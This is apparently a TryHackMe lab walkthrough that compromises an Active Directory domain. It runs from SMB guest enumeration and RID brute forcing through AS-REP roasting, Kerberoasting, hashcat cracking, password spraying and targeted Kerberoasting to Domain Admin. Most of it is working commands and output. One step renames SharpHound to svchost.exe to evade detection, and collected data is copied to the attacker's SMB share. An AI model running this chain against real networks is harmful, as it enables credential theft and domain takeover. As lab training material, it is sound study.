TryHackMe Operation Endgame Walkthrough – Full Domain Compromise
Hello Everyone,
In this writeup, I will be walking you through how I compromised an Active Directory environment, starting from initial enumeration all the way to achieving full Domain Admin access on the Domain Controller.
The attack follows a structured approach through the following phases:
Enumeration → Exploitation → Privilege Escalation → Lateral Movement → Domain Compromise
I will focus on the key techniques and thought process used at each stage, showing how low-privileged access can be leveraged to fully compromise an Active Directory domain.
Description:
So, Operation Endgame was firing on all cylinders. Sneaky Viper, our
black hat crew, had become the worst nightmare. After months of
gathering information and carrying out operations, we found the way to
their system, and boom: mission complete.
Starting with enumeration
Started with port scanning
rustscan -r 1-65535 -a 10.49.149.97 -- -sV -sC -T4 -o port_scans.txtFrom the scan results, we can see that the machine is a domain controller running the following services:
| Port | Service | Version / Details |
|------|---------------|--------------------------------------------------------|
| 53 | DNS | Simple DNS Plus |
| 80 | HTTP | Microsoft IIS 10.0 (TRACE enabled) |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 135 | MSRPC | Microsoft Windows RPC |
| 139 | NetBIOS | Microsoft Windows netbios-ssn |
| 389 | LDAP | Active Directory LDAP (thm.local) |
| 443 | HTTPS | Microsoft IIS 10.0 (SSL, TRACE enabled) |
| 445 | SMB | Microsoft-DS |
| 464 | Kerberos | kpasswd |
| 593 | RPC over HTTP | Microsoft Windows RPC over HTTP 1.0 |
| 636 | LDAPS | Secure LDAP |
| 3268 | LDAP | Global Catalog LDAP |
| 3269 | LDAPS | Global Catalog Secure LDAP |
| 3389 | RDP | Remote Desktop (ad.thm.local) |
| 9389 | AD Web Serv. | .NET Message Framing (ADWS) |
| 47001| HTTP | Microsoft HTTPAPI 2.0 |
| 49664-49786 | MSRPC | Multiple dynamic RPC ports |
I performed initial enumeration of the web application; however, no useful attack vectors were identified. As a result, attention will be directed toward other services within the environment.
SMB (445)
Kerberos (88)
LDAP (389/636/3268/3269)
DNS (53)
ADWS (9389)
Next Move: SMB Enumeration
Since port 445 (SMB) was open, I proceeded to enumerate the service using NetExec (nxc) to identify accessible resources.
I tested for anonymous and guest authentication and successfully gained access, which allowed me to enumerate and list available SMB shares.
nxc smb 10.49.149.97 -u 'anonymous' -p '' --shares
SMB 10.49.149.97 445 AD [*] Windows 10 / Server 2019 Build 17763 x64 (name:AD) (domain:thm.local) (signing:True) (SMBv1:False)
SMB 10.49.149.97 445 AD [+] thm.local\anonymous: (Guest)
SMB 10.49.149.97 445 AD [*] Enumerated shares
SMB 10.49.149.97 445 AD Share Permissions Remark
SMB 10.49.149.97 445 AD ----- ----------- ------
SMB 10.49.149.97 445 AD ADMIN$ Remote Admin
SMB 10.49.149.97 445 AD C$ Default share
SMB 10.49.149.97 445 AD IPC$ READ Remote IPC
SMB 10.49.149.97 445 AD NETLOGON Logon server share
SMB 10.49.149.97 445 AD SYSVOL Logon server share
RID Brute Force via SMB
From the enumeration results, we can observe that the $IPC share was accessible with read permissions. This is important because the IPC$ share can be used to interact with the system for remote procedure calls.
Since access to IPC$ was permitted, I leveraged it to perform RID brute forcing using the guest account. This technique allows enumeration of valid domain users by querying Security Identifiers (SIDs) over SMB.
nxc smb 10.49.149.97 -u 'guest' -p '' --rid-brute > rid-users.txt
cat rid-users.txt
SMB 10.114.190.118 445 AD [*] Windows 10 / Server 2019 Build 17763 x64 (name:AD) (domain:thm.local) (signing:True) (SMBv1:False)
SMB 10.114.190.118 445 AD [+] thm.local\guest:
SMB 10.114.190.118 445 AD 498: THM\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.114.190.118 445 AD 500: THM\Administrator (SidTypeUser)
SMB 10.114.190.118 445 AD 501: THM\Guest (SidTypeUser)
SMB 10.114.190.118 445 AD 502: THM\krbtgt (SidTypeUser)
SMB 10.114.190.118 445 AD 512: THM\Domain
...We can extract only real users from the file using grep and cut as follows:
grep "SidTypeUser" rid-users.txt | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
In Active Directory environments, once valid usernames are identified, a common next step is AS-REP roasting.
This attack targets user accounts that have Kerberos pre-authentication disabled. For such accounts, the domain controller returns an encrypted authentication response (AS-REP) without requiring a password.
This response can be captured and cracked offline, potentially revealing the user’s plaintext password without any direct interaction with the target system.
You can read further here https://www.netexec.wiki/ldap-protocol/asreproast
From Nmap results above, we identified:
thm.local→ the Active Directory domain name
ad.thm.local→ the fully qualified domain name (FQDN) of the Domain Controller
AD→ the NetBIOS hostname of the machine
These names are important because many AD services (Kerberos, SMB, LDAP) rely on proper hostname resolution. To ensure proper communication, we map them to the target IP:
sudoedit /etc/hostsAdd:
# change the ip
10.49.149.97 thm.local ad.thm.local AD
Using NetExec, I performed AS-REP roasting
nxc ldap AD.thm.local -u users.txt -p '' --asreproast asreproasting.txtCracking AS-REP Hashes
After obtaining the AS-REP hashes, I attempted to crack them using Hashcat with the Kerberos 5 AS-REP (etype 23) mode:
hashcat -a0 -m18200 asreproasting.txt /usr/share/wordlists/Passwords/rockyou.txtHowever, the attack was unsuccessful, and no passwords were recovered from the hashes using rockyou.txt wordlist.
Note
This suggests that the target accounts are likely using stronger passwords that are not present in common wordlists like rockyou.txt, requiring either a more targeted wordlist or an alternative attack path.
Next: Kerberoasting
Since we can authenticate using a guest account, the next step is to perform Kerberoasting to target service accounts within the domain.
Kerberoasting works by requesting service tickets (TGS) for accounts associated with Service Principal Names (SPNs). These tickets are encrypted using the service account’s password hash, making them suitable for offline cracking. https://www.netexec.wiki/ldap-protocol/kerberoasting
To perform this attack, I used:
nxc ldap AD.thm.local -u guest -p '' --kerberoasting kerberoasting.txtThe attack returned a Kerberos service ticket for the user CODY_ROY, indicating that this account is vulnerable to Kerberoasting. The extracted hash can now be cracked offline to potentially recover the account’s password.
Using hashcat we can successfully crack the hash offline.
hashcat -a0 -m 13100 kerberoasting.txt /usr/share/wordlists/Passwords/rockyou.txtWe can successfully authenticate to SMB and list shares. We can also authenticate to RDP:
xfreerdp3 /v:ip u:cody_roy /p:[REDACTED] +clipboard /cert:ignore /dynamic-resolution
The environment appeared highly restricted. The user was assigned a temporary profile (C:\Users\TEMP) with no dedicated home directory, limiting access to typical user files and data.
I enumerated it through a shell spawned via the Run dialog (Ctrl + R → cmd). However, I couldn’t find useful credentials, misconfigurations, or privilege escalation vectors.
Domain Enumeration using BloodHound
Since I couldn’t identify any local privilege escalation vectors, I moved to Active Directory enumeration using BloodHound.
To collect domain data, I used the SharpHound collector (an alternative would be bloodhound-python-ce from an external machine → directly from your machine).
I first uploaded the SharpHound collector to the target machine from my Kali system using a Python HTTP server:
python3-m http.server 80Then, on the target machine, I downloaded the binary:
wget http://my-ip/svchost.exe -OutFile svchost.exeI renamed the binary to svchost.exe to make it appear less suspicious and reduce the chances of detection or blocking by security controls.
After successfully transferring the file, executed it:
.\svchost.exe -c AllThis collected domain data such as users, groups, sessions, and ACL relationships, and generated a .zip file containing the results.
To retrieve the results, I set up an SMB server on my Kali machine:
impacket-smbserver share $(pwd) -smb2supportThen, I transferred the file from the target:
copy 20260326230308_BloodHound.zip \\my-ip\share\Finally, I imported the collected data into BloodHound on Kali for analysis.
When I analyzed the relationships in BloodHound, I found that cody_roy had GenericWrite over all users through the Everyone group. However, after reviewing those users, I determined that none of them had any interesting or high-value privileges that I could abuse further.
Since that path was not useful, I decided to try a different approach. I moved on to password spraying using the password of cody_roy across other domain users. During this process, I was able to successfully authenticate as another user, ZACHARY_HUNT, indicating password reuse within the environment.
Using Kerbrute for password spraying:
kerbrute passwordspray -d 'thm.local' --dc AD.thm.local users.txt '[REDACTED]'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/27/26 - Ronnie Flathers @ropnop
2026/03/27 10:49:46 > Using KDC(s):
2026/03/27 10:49:46 > AD.thm.local:88
2026/03/27 10:49:49 > [+] VALID LOGIN: CODY_ROY@thm.local:MKO)mko0
2026/03/27 10:50:06 > [+] VALID LOGIN: ZACHARY_HUNT@thm.local:MKO)mko0After gaining access as ZACHARY_HUNT, I analyzed the account in BloodHound and found that it had GenericWrite over another user, JERRI_LANCASTER.
Since I had GenericWrite over JERRI_LANCASTER, I leveraged this to perform a targeted Kerberoasting attack. This technique involves modifying the target user’s attributes (such as assigning a Service Principal Name (SPN)) so that I can request a Kerberos service ticket (TGS) for that account. The ticket is encrypted with the user’s password hash, making it possible to extract and crack offline.
Targeted Kerberoasting is used when we have control (like GenericWrite) over a specific user but they do not already have an SPN assigned. Instead of waiting for a naturally kerberoastable account, I create the condition myself.
To perform the attack, I used the targetedKerberoast.py tool to request a TGS ticket for JERRI_LANCASTER:
You can get more information about the tool here github.com/ShutdownRepo/targetedKerberoast
targetedkerberoast -d 'thm.local' -u 'ZACHARY_HUNT' -p '[REDACTED]' --request-user 'jerri_lancaster' --dc-ip 10.48.148.89
[*] Starting kerberoast attacks
[*] Attacking user (jerri_lancaster)
[+] Printing hash for (JERRI_LANCASTER)
$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$3ece9accb1974...
I then cracked the hash offline using hashcat with the Kerberos TGS mode:
hashcat -a0 -m 13100 jerri.blob /usr/share/wordlists/Passwords/rockyou.txtThis successfully revealed the plaintext password for JERRI_LANCASTER
With these credentials, I authenticated to the target machine via RDP. While enumerating the file system, I discovered a directory C:\Scripts containing a PowerShell script named syncer.ps1. Inside this script, I found hard-coded credentials for another user, SANFORD_DAUGHERTY, who is a Domain Admin.
I initially attempted to switch users using runas, but I was unable to spawn an elevated administrator shell. To work around this, I logged in via RDP using SANFORD_DAUGHERTY'S (DA)credentials.
Once logged in, I opened the Run dialog (CTRL + R), typed cmd, and launched it with CTRL + SHIFT + ENTER to run it as an administrator. After accepting the UAC prompt, I obtained a fully elevated administrative shell.
At this point, we have Domain Admin privileges.
Key Takeaways
- Enumeration is Critical
The attack began with port scanning using Nmap, which revealed that the target was a Domain Controller running key Active Directory services such as Kerberos (88), LDAP (389), SMB (445), and DNS (53). Identifying this early shaped the entire attack strategy.
- SMB Misconfiguration Enables User Enumeration
Anonymous/guest access to SMB allowed enumeration of domain users via RID brute forcing. This provided a valid user list, which became the foundation for further attacks.
- Kerberos Attacks Depend on User Enumeration
With valid usernames, I attempted AS-REP roasting, but it did not yield crackable credentials. This demonstrated that not all Kerberos attacks succeed and alternative paths must be explored.
- Kerberoasting with Limited Access
Using available access, I performed Kerberoasting and successfully obtained a service ticket forCODY_ROY. Cracking the hash revealed valid credentials, providing an initial foothold in the domain.
- Restricted Environment Requires Strategy Shift
After gaining access, the environment was highly restricted (temporary profile, no useful files, no local misconfigurations). This indicated that privilege escalation would not come from the local system.
- Active Directory Enumeration is Key
I used BloodHound with SharpHound to map domain relationships. This revealed hidden attack paths that were not discoverable through manual enumeration.
- Abusing AD Permissions (GenericWrite)
BloodHound analysis showed thatcody_royhad GenericWrite permissions over other objects. While the initial targets were not useful, it guided further exploration within the domain.
- Password Spraying Expands Access
By leveraging discovered credentials, I performed password spraying and identified another valid user:ZACHARY_HUNT.
- Targeted Kerberoasting for Privilege Escalation
BloodHound revealed thatZACHARY_HUNThad GenericWrite overJERRI_LANCASTER. I performed targeted Kerberoasting against this account, extracted the TGS hash, and cracked it offline to obtain credentials.
- Credential Exposure Leads to Domain Admin
After authenticating asJERRI_LANCASTER, I discovered a PowerShell script (syncer.ps1) containing plaintext credentials forSANFORD_DAUGHERTY, a Domain Admin account.
- Full Domain Compromise
Using the Domain Admin credentials, I authenticated via RDP and elevated privileges through UAC, gaining full administrative control over the domain.
Final Summary
This attack demonstrates how a full Active Directory compromise can be achieved by chaining multiple techniques:
Nmap Enumeration → SMB User Enumeration → Kerberos Attacks → Credential Access → BloodHound Analysis → Permission Abuse → Targeted Kerberoasting → Credential Discovery → Domain Admin Access
It highlights the importance of proper enumeration, understanding AD relationships, and exploiting misconfigurations to move from a low-privileged user to complete domain compromise.
Thank you for reading. I hope this walkthrough provided clear insight into how Active Directory environments can be compromised through proper enumeration and attack chaining.